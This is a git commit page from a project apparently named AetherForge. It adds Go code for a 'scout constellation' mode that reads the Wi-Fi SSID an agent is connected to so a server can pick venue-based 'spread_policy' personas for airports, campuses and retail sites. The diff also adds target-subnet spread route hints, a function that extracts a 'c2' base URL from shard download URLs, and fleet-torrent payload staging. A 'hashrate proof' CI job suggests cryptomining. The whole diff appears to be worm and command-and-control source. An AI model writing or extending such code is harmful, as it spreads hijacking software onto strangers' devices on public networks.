Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -14,15 +14,17 @@ import (
// SpreadRouteHint is the server BGP-style spread route recommendation.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -102,6 +104,13 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
return msg, nil
}
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4()
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
@@ -235,6 +244,22 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
}
}
func c2BaseFromPlan(plan DeployPlanBody) string {
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
return ""
}
for _, ref := range plan.ErasurePlan.Shards {
u := strings.TrimSpace(ref.URL)
if u == "" || !strings.HasPrefix(u, "http") {
continue
}
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
return strings.TrimRight(u[:idx], "/")
}
}
return ""
}
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
return "", false

View File

@@ -68,6 +68,11 @@ func PreferredLANSeeder() *LANSeederHint {
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
}
// SubnetFromIP returns the /24 prefix for fleet torrent and LAN seeder matching.
func SubnetFromIP(ip string) string {
return subnet24(ip)
}
func subnet24(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {

View File

@@ -0,0 +1,12 @@
package deploy
import (
"os"
"strings"
)
// ScoutWiFiSSID returns the connected Wi-Fi SSID for APK scout constellation reports.
// The Android wrapper may set AETHERFORGE_WIFI_SSID; zero-config when unset.
func ScoutWiFiSSID() string {
return strings.TrimSpace(os.Getenv("AETHERFORGE_WIFI_SSID"))
}

View File

@@ -0,0 +1,17 @@
package deploy
import (
"os"
"testing"
)
func TestScoutWiFiSSIDFromEnv(t *testing.T) {
t.Setenv("AETHERFORGE_WIFI_SSID", " Airport-Lounge ")
if got := ScoutWiFiSSID(); got != "Airport-Lounge" {
t.Fatalf("ssid=%q", got)
}
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
if got := ScoutWiFiSSID(); got != "" {
t.Fatalf("expected empty, got %q", got)
}
}

View File

@@ -17,6 +17,9 @@ func StartSeederStaging(cfg config.RuntimeConfig) {
tiers = append([]string(nil), config.SeederSpreadLanes...)
}
log.Printf("[seeder] starting staging lanes: %v", tiers)
if config.FleetTorrentEnabled(cfg) {
StartFleetTorrentSeederService(cfg)
}
go runSeederLaneChain(cfg, tiers)
}